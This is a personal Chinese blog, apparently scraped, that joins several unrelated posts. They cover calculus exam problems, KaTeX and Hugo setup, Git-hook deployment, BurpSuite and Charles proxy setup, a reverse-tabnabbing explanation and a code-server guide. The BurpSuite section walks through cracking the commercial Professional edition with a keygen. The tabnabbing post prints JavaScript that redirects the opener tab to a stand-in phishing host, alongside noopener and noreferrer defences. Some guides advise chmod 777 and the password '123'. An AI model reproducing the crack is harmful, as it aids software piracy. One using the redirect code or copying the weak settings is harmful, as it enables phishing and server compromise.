（2）若$f(x)$有两个零点$x_1,x_2$，且$x_2>2x_1$，证明：$\sqrt{x_1^2+x_2^2}>\dfrac{4}{e}$.

4.已知函数$f(x)=\dfrac{a}{2}x^2-x-x\ln x(a\in \mathbb{R})$.
（1）若$a=2$，求方程$f(x)=0$的解；
（2）若$f(x)$有两个零点且有两个极值点，记两个极值点为$x_1,x_2$，求$a$的取值范围并证明：$f(x_1)+f(x_2)<\dfrac{1}{2e}$.

5.已知函数$f(x)=e^x-\dfrac{a}{x}(a\in \mathbb{R})$.
（1）讨论函数$f(x)$零点个数；
（2）若$|f(x)|>a\ln x-a$恒成立，求$a$的取值范围.

6.已知函数$f(x)=\sin x-x+ax^2,a\in\mathbb{R}.$
（1）若曲线$y=f(x)$在$x=\pi$处的切线过原点，求$a$的值；
（2）当$x\leqslant5$时，$f(x)\geqslant0$，求$a$的取值范围.

创建 layouts/partials/math.html 文件，写入以下内容：

<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/katex@0.16.2/dist/katex.min.css" integrity="sha384-bYdxxUwYipFNohQlHt0bjN/LCpueqWz13HufFEV1SUatKs1cm4L6fFgCi1jT643X" crossorigin="anonymous">
<script defer src="https://cdn.jsdelivr.net/npm/katex@0.16.2/dist/katex.min.js" integrity="sha384-Qsn9KnoKISj6dI8g7p1HBlNpVx0I8p1SvlwOldgi3IorMle61nQy4zEahWYtljaz" crossorigin="anonymous"></script>
<script defer src="https://cdn.jsdelivr.net/npm/katex@0.16.2/dist/contrib/auto-render.min.js" integrity="sha384-+VBxd3r6XgURycqtZ117nYw44OOcIax56Z4dCRWbxyPt0Koah1uHoK0o4+/RRE05" crossorigin="anonymous"></script>
<script>
    document.addEventListener("DOMContentLoaded", function() {
        renderMathInElement(document.body, {
          // customised options
          // • auto-render specific keys, e.g.:
          delimiters: [
              {left: '$$', right: '$$', display: true},
              {left: '$', right: '$', display: false},
              {left: '\\(', right: '\\)', display: false},
              {left: '\\[', right: '\\]', display: true}
          ],
          // • rendering keys, e.g.:
          throwOnError : false
        });
    });
</script>

然后创建 layouts/partials/extend_head.html 文件，写入以下内容：

{{ if or .Params.math .Site.Params.math }}
{{ partial "math.html" . }}
{{ end }}

当我们确认某一篇博客需要加入数学公式支持时，我们需要在markdown文件键入以下内容:

---
title: 
date: 
tags: 
math: true
---

数学公式测试：

$$x=\frac{-b\pm\sqrt{b^2-4ac}}{2a}$$

$$ q(x,t)= \begin{cases}(t-k+1)x^2,\quad \ \ & t\in\big(k-1,k-\dfrac{1}{2}\big],\\ (k-t)x^2, \quad \ \ & t\in\big(k-\dfrac{1}{2},k\big], \end{cases} $$

$$ \left|\begin{array}{cccc} 1 &6 & 9 \\ 7 &90 & f(x) \\ 9 & \psi(x) &g(x) \\ \end{array}\right| $$

$$ \begin{cases} \ u_{tt}(x,t)= b(t)\triangle u(x,t-4)&\\ \ \hspace{42pt}- q(x,t)f[u(x,t-3)]+te^{-t}\sin^2 x, & t \neq t_k; \\ \ u(x,t_k^+) - u(x,t_k^-) = c_k u(x,t_k), & k=1,2,3\ldots ;\\ \ u_{t}(x,t_k^+) - u_{t}(x,t_k^-) =c_k u_{t}(x,t_k), & k=1,2,3\ldots\ . \end{cases} $$

今天下午去打了下，感觉还不错。

松江二中高三月考（2022.09）

格致中学高三开学考（2022.09）

上海中学高三练习01（2022.09）

建平中学高三开学考（2022.09）

交大附中高三开学考（2022.09）

上海实验高三练习（2022.09）

交大附中高二期末（2022.06）

建平中学高二期末（2022.06）

延安中学高二期末（2022.06）

上海实验高二期末（2022.06）

建平中学高二月考（2022.06）

华二附中高二练习（2022.05）

华二附中高二练习2（2022.05）

上海实验高二练习（2022.05）

外地的一些试卷也值得一做：

湖北部分重点高中联考高二月考（2023.03）（导数、排列组合）

浙江学军中学高二月考（2023.03）（数列、解几、立几、导数、排列结合、概率期望）

最近开始使用 hexo 和 hugo 写博客，静态博客相对于 Wordpress, Typecho 等的好处包括速度的安全性，但在部署和易用性方面可能略逊一筹，这也是劝退很多新手的主要原因。

如何将 hexo 和 hugo 发布到自己的云服务器，最直观的做法便是在本地用hexo g生成静态网页文件，再将其通过 FTP 等方式上传。但这样的方法看起来简单，实则操作起来麻烦，也不能保证传输的准确性，于是得想想其他方法。

既然无法很好做到传输，那么可以直接将博客的写作环境搭建在服务器本地中。具体做法是直接在服务器中安装 code-server 进行编写、编译，这样免去了传输的过程。并且 code-server 是一个“行走的”开发环境，在任何设备上访问自己的 code-server 地址就可以便捷地进行开发。

code-server 的具体使用方法可参考：

还有一种方法是下文要讲的 Git Hook 部署。使用这种方法可以将文件一键推送到服务器中。目前我写博客便是两种方法的结合，即在 code-server 中进行编码写作，编译后通过 git 推送到另一台云服务器中。

配置 git

1.安装 git

apt-get install git

2.创建 git 用户

为了安全，我们创建一个 git 用户以专门运行 git 服务。

adduser git

3.创建证书登录

将计算机中的~/.ssh/id_rsa.pub文件里的内容添加到服务器的/home/git/.ssh/authorized_keys中。添加公钥之后可以防止每次 push 都输入密码。

如果你之前没有生成过公钥，则可能就没有id_rsa.pub文件，具体的生成方法，可以 参考这里

4.初始化 Git 仓库

可以将其放在/var/repo/blog.git目录下：

mkdir /var/repo
cd /var/repo
git init --bare blog.git

使用--bare参数，Git 就会创建一个裸仓库，裸仓库没有工作区，我们不会在裸仓库上操作，它只为共享而存在。

5.配置 Git Hook

我们这里要配置的是post-receive的 hook ，在整个 git 操作完成后被运行。

在blog.git/hooks目录下新建一个post-receive文件：

cd /var/repo/blog.git/hooks
vim post-receive

在post-receive文件中写入如下内容：

#!/bin/bash
git --work-tree=/var/www/hexo --git-dir=/var/repo/blog.git checkout -f

注意，这里的/var/www/hexo要换成你的部署目录，并且必须是空目录，否则 git 推送时会报错；并且也要赋予 git 用户操作这个文件夹的权限，或者直接将其chmod 777。

设置这个文件的可执行权限：

chmod +x post-receive

6.改变拥有者

改变blog.git目录的拥有者为git用户：

chown -R git:git blog.git

7.禁用 shell 登录权限

出于安全考虑，我们要让git用户不能通过shell登录。编辑/etc/passwd，在/etc/passwd中找到类似下面的一行：

git:x :1001:1001:,,,:/home/git:/bin/bash

将其改为

git:x :1001:1001:,,,:/home/git:/usr/bin/git-shell

这样就可以通过 ssh 正常使用 git ，而无法登录 shell 。

至此，服务器端的配置就完成了。

本地配置

hexo

deploy:
  type: git
  repo: git@服务器ip:/var/repo/blog.git
  branch: master

如果ssh端口不是80怎么办？ 可不能在上面的ip后直接加上端口号，因为:后的内容会被解析，这就导致报错。

可以在本地 ssh 的 config(~/.ssh/config) 中进行设置：

Host myServer
  HostName 你的ip
  Port 你的ssh端口

然后 hexo 中配置：

deploy:
  type: git
  repo: git@myServer:/var/repo/blog.git
  branch: master

就可以了。

本文在 macOS 环境下配置。

1.BurpSuite和Charles安装配置

BurpSuite

安装

在 官网中下载Professional 2022.11.4安装包，更新版本破解方法可以自行谷歌。

注册

下载注册机 h3110w0r1d-y/BurpLoaderKeygen

右键Burp Suite Professional.app显示包内容，将注册机放入BP的jar文件同级目录： 接着用如下命令打开BP：

cd /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app && "/Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java" "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" "--add-opens=java.base/java.lang=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" "-javaagent:BurpLoaderKeygen.jar"  "-jar" "/Applications/Burp Suite Professional.app/Contents/Resources/app/burpsuite_pro.jar"

再在新终端中用如下命令运行注册机：

/Applications/Burp\ Suite\ Professional.app/Contents/Resources/jre.bundle/Contents/Home/bin/java -jar /Applications/Burp\ Suite\ Professional.app/Contents/Resources/app/BurpLoaderKeygen.jar

将注册机中的License中内容复制到BP中，选择 Manual Activation，把Activation Request复制到注册机，再将生成的Activation Response复制到BP中，即可完成激活。

启动

完成上述步骤就已经可以启动了，但每次都需要两个命令，可以编辑vmoptions.txt简化操作，在vmoptions.txt末尾追加

--add-opens=java.desktop/javax.swing=ALL-UNNAMED
--add-opens=java.base/java.lang=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED
--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED
-javaagent:BurpLoaderKeygen.jar
-Xmx2048m

或者命令行运行：

echo "--add-opens=java.desktop/javax.swing=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
echo "--add-opens=java.base/java.lang=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
echo "--add-opens=java.base/jdk.internal.org.objectweb.asm=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
echo "--add-opens=java.base/jdk.internal.org.objectweb.asm.tree=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
echo "--add-opens=java.base/jdk.internal.org.objectweb.asm.Opcodes=ALL-UNNAMED" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
echo "-javaagent:BurpLoaderKeygen.jar" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt
echo "-Xmx2048m" >> /Applications/Burp\ Suite\ Professional.app/Contents/vmoptions.txt

之后便可正常启动了。

如果出现"Burp Suite Professional.app"损坏，无法打开。您应该将它移到废纸篓。 运行

sudo xattr -r -d com.apple.quarantine /Applications/Burp\ Suite\ Professional.app

Charles

直接参考 Charles 激活码计算器

2.BurpSuite抓包

用 BurpSuite 进行本地抓包应该不麻烦，看着界面就能做。最基本的，用Proxy模块，可以作为一个在浏览器和目标应用程序之间的中间人，进行拦截、查看、修改在两个方向上的原始数据包。

进行移动端抓包时，首先保证电脑与移动端在同一局域网下， BP 中进入 Proxy-Options ，在 Proxy Listeners 中 Add ，选中 Specific address 选择电脑的内网ip。 在手机中访问此地址，如图示则是访问192.168.1.12:14251，单击 CA Certificate 则可下载安装CA证书，在ios中显示为 安装"描述文件"，安装后再将其启用。

之后再WLAN中设置网络代理，代理ip和端口即为BP中设置的。此时即可进行移动端抓包。

3.Charles抓包

有时对移动端用BP进行抓包可能会出现缓慢，或者抓不到包的情况（也不知道为什么），而用 Charles 进行移动端抓包则十分流畅。

Charles 的配置和BP差不多，在移动端安装证书即可。

The Window interface’s opener property returns a reference to the window that opened the window, either with open(), or by navigating a link with a target attribute.

In other words, if window A opens window B, B.opener returns A.

也就是说，用<a target="_blank">打开的页面，可以直接用window.opener来访问源页面的window对象。（但在现在需要添加rel="opener"才能生效）

2.opener存在的条件

在2018年左右以前，通过<a target="_blank">开启的新窗口都默认带有window.opener，但在Chrome release 88和Safari release 68中都已默认对<a target="_blank">实现noopener，因此如今在以下情况window.opener会返回null：

• 链接加上rel=noopener属性
• 用<a target="_blank">打开，但没加上rel=opener
• 带有Cross-Origin-Opener-Policy: same-origin头

所以要在子页面中使用window.opener，需要将请求头设为Cross-Origin-Opener-Policy: unsafe-none（默认），使用<a target="_blank" rel="opener">，或用JS语句window.open("...")。

3.同源与跨域

浏览器提供了完整的跨域保护，在域名相同时，parent对象和opener对象实际上就直接是上一级的window对象；而当域名不同时，parent和opener则是经过包装的一个global对象。这个global对象仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出DOMException）。

4.性能

当opener存在时，仅在同域情况下两标签页共用一个进程。 Chrome和Edge等都提供了GUI查看渲染进程的情况，通过 更多工具=>任务管理器 查看。 当新打开页面与原页面共用一个进程，若执行一个庞大的JavaScript脚本，那么原标签页也会受到影响，可能出现卡顿的现象。

而如果在链接中加入了noopener，两个标签页将会互不干扰，使得原页面的性能不会受到新页面的影响。

5.安全性

参考： 危险的 target="_blank" 与 “opener”

如果一个链接使用了target="_blank" rel="opener"，那么一旦用户点击这个链接并进入一个新的标签，新标签中的页面如果存在恶意代码，就可以将你的网站直接导航到一个虚假网站。此时，如果用户回到你的标签页，看到的就是被替换过的页面了。

详细步骤

1.在你的网站https://example.com上存在一个链接：<a href="https://an.evil.site"target="_blank">进入一个“邪恶”的网站</a>

2.用户点击了这个链接，在新的标签页打开了这个网站。这个网站可以通过HTTP Header中的Referer属性来判断用户的来源。

并且，这个网站上包含着类似于这样的JavaScript代码：

const url=encodeURIComponent('{{header.referer}}');
window.opener.location.replace('https://a.fake.site/?'+url);

3.此时，用户在继续浏览这个新的标签页，而原来的网站所在的标签页此时已经被导航到了https://a.fake.site/?https%3A%2F%2Fexample.com%2F。

4.恶意网站https://a.fake.site根据 Query String 来伪造一个足以欺骗用户的页面，并展示出来（期间还可以做一次跳转，使得浏览器的地址栏更具有迷惑性）。

5.用户关闭https://an.evil.site的标签页，回到原来的网站………………已经回不去了。

上面的攻击步骤是在跨域的情况下的，在跨域情况下，opener对象和parent一样，是受到限制的，仅提供非常有限的属性访问，并且在这仅有的几个属性中，大部分也都是不允许访问的（访问会直接抛出DOMException）。

但是与parent不同的是，在跨域的情况下，opener仍然可以调用location.replace方法而parent 则不可以。

如果是在同域的情况下（比如一个网站上的某一个页面被植入了恶意代码），则情况要比上面严重得多。

防御

1. Referrer Policy 和 noreferrer 上面的攻击步骤中，用到了 HTTP Header 中的Referer属性，实际上可以在 HTTP 的响应头中增加ReferrerPolicy头来保证来源隐私安全。

ReferrerPolicy 需要修改后端代码来实现，而在前端，也可以使用<a>标签的rel属性来指定rel="noreferrer"来保证来源隐私安全。

<a href="https://an.evil.site" target="_blank" rel="noreferrer">进入一个“邪恶”的网站</a>

但是要注意的是：即使限制了referer的传递，仍然不能阻止原标签被恶意跳转。

2. noopener 为了安全，现代浏览器都支持在<a>标签的rel属性中指定rel="noopener"，这样，在打开的新标签页中，将无法再使用opener对象了，它为设置为了null。

<a href="https://an.evil.site" target="_blank" rel="noopener">进入一个“邪恶”的网站</a>

祝各位高考生们好运！！！

附2019上海春考英语听力 看看你能对几个（）

新主题test

$ y=ax^2+bx+c $

$ x=\dfrac{-b\pm\sqrt{b^2-4ac}}{2a} $

看了一下，上中前几年高二上期末的进度和现在我们期中的进度差不多 现在的进度快得哈人

上海市上海中学2020-2021学年高二上学期期末数学试题

上海市上海中学2019-2020学年高二上学期期末数学试题

上海市上海中学2020-2021学年高二上学期期末考试物理试题

上海市上海中学2020-2021学年高二上学期期末考试英语试题

上海市上海中学2020-2021学年高二上学期期末考试化学试题

上海市上海中学2017-2018学年高二上学期数学周练02（矩阵行列式、向量）

上海市上海中学2017-2018学年高二上学期数学周练03（矩阵行列式、向量、直线）

上海市上海中学2017-2018学年高二上学期数学周练04（直线、线性规划）（图片版）

上海市上海中学2017-2018学年高二上学期数学周练05（直线、线性规划、圆）

上海市上海中学2017-2018学年高二上学期数学周练06（圆、椭圆）

上海市上海中学2017-2018学年高二上学期数学周练07（椭圆、双曲线）

上海市上海中学2017-2018学年高二上学期数学周练08（椭圆、双曲线、抛物线）（图片版）

上海市上海中学2017-2018学年高二上学期数学周练09（圆锥曲线综合）（图片版）

上海市上海中学2017-2018学年高二上学期数学周练10（圆锥曲线综合）

上海市上海中学2017-2018学年高二上学期数学周练11（圆锥曲线综合）

Tom是一个来自上海的数学系本科生～～

本站点从Hexo迁移至Hugo，使用PaperMod主题。

在平时的学习工作中，我们经常会用到代码编辑器，Vscode已经成为我们的首选。但是本地编辑器有个弊端就是当我们在家庭和公司之间移动的时候，无法连续编码。这个时候就有很多新兴的在线编辑器（web IDE）出现了，例如微软和 Github 的Visual Studio Codespaces、腾讯的cloudstudio、华为云 CloudIDE等，这些产品要么还在测试，要么免费用会有限制或者价格不低，目前还不是非常方便。

如果想要低成本愉快使用，自己来搭建一个是不错的方案。对配置要求不高的话，一年几十块一百多块就能买到廉价的 VPS 或者云主机。Web IDE 的部署方案推荐两个，code-server 和 Theia。

在线编辑器的选择

Code-server是由 Coder 开发的，把 VS Code 搬到了浏览器上。

Theia是 Eclipse 推出的云端和桌面 IDE 平台，完全开源。Theia 是基于 VS Code 开发的，它的模块化特性非常适合二次开发，比如华为云 CloudIDE、阿里云 Function Compute IDE 便是基于 Theia 开发。

据我体验下来，Code-server对插件的支持更为完备，并且安全性更高。

安装code-server

code-server一个开源的基于vscode开发的在线编辑器工具。其支持二进制部署、Docker部署、HemlChart部署，目前还不支持windows部署，但是已经足够我们使用了。

具体部署可以参考 官方文档。

这里我们选择相对简单快捷的方式，Docker部署。

前置条件

在部署code-server前，你需要准备一台Linux虚机（建议CentOS 7），你可以去云厂商购买（用于生产），也可以使用VMware在个人电脑创建虚机（用于学习）。

我是购买的腾讯云的 轻量应用服务器。

初步安装

参考： 使用code-server打造在线IDE

拉取code-server镜像

docker pull codercom/code-server

启动code-server

docker run -d  --name code-server -p 8082:8080 -e PASSWORD=123 codercom/code-server:latest

启动完成后，我们需要在 云服务器的防火墙菜单中打开8082端口，然后就可以使用云服务器的公网ip进行登录使用了。（如果你是本地虚拟机，不需要处理防火墙，直接在浏览器访问虚拟机的ip:8082即可）

访问code-server

我们在浏览器访问云服务器的公网ip:8082。

输入密码123登录。

安装插件

code-server和vscode一样，支持安装插件，我选择了几个常用的插件安装测试，均完美支持。

应用反向代理

参考： 部署code-server并通过域名访问（内含实战填坑）

如果想要用域名的80端口访问，或者不想对外网开放端口的，可以用nginx做反向代理。打开网站的配置文件，做如下更改：

location /
{
    proxy_pass http://127.0.0.1:8080;
    proxy_http_version 1.1;
    proxy_redirect     off;
    proxy_set_header Host http://你的域名;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header REMOTE-HOST $remote_addr;
    proxy_set_header   Upgrade          $http_upgrade;
    proxy_set_header   Connection       "Upgrade";
    proxy_connect_timeout      60;
    proxy_send_timeout         90;
    proxy_read_timeout         90;
    proxy_buffer_size          4k;
    proxy_buffers              4 32k;
    proxy_busy_buffers_size    64k;
    proxy_temp_file_write_size 64k;
    add_header X-Cache $upstream_cache_status;

    #Set Nginx Cache

    	add_header Cache-Control no-cache;
} 

注意:如果是用宝塔，最好将对于静态文件的规则注释掉。 保存后再次刷新网页就可以进入界面了。输入密码，即可进入首页。

更新code-server

Code-server是一直随着vscode的更新而更新的，所以有时需要更新。运行Code-server官方给出的下载命令:

curl -fsSL https://code-server.dev/install.sh | sh

直接在容器内命令行运行，然后重启容器即可。

学校的电脑可真不错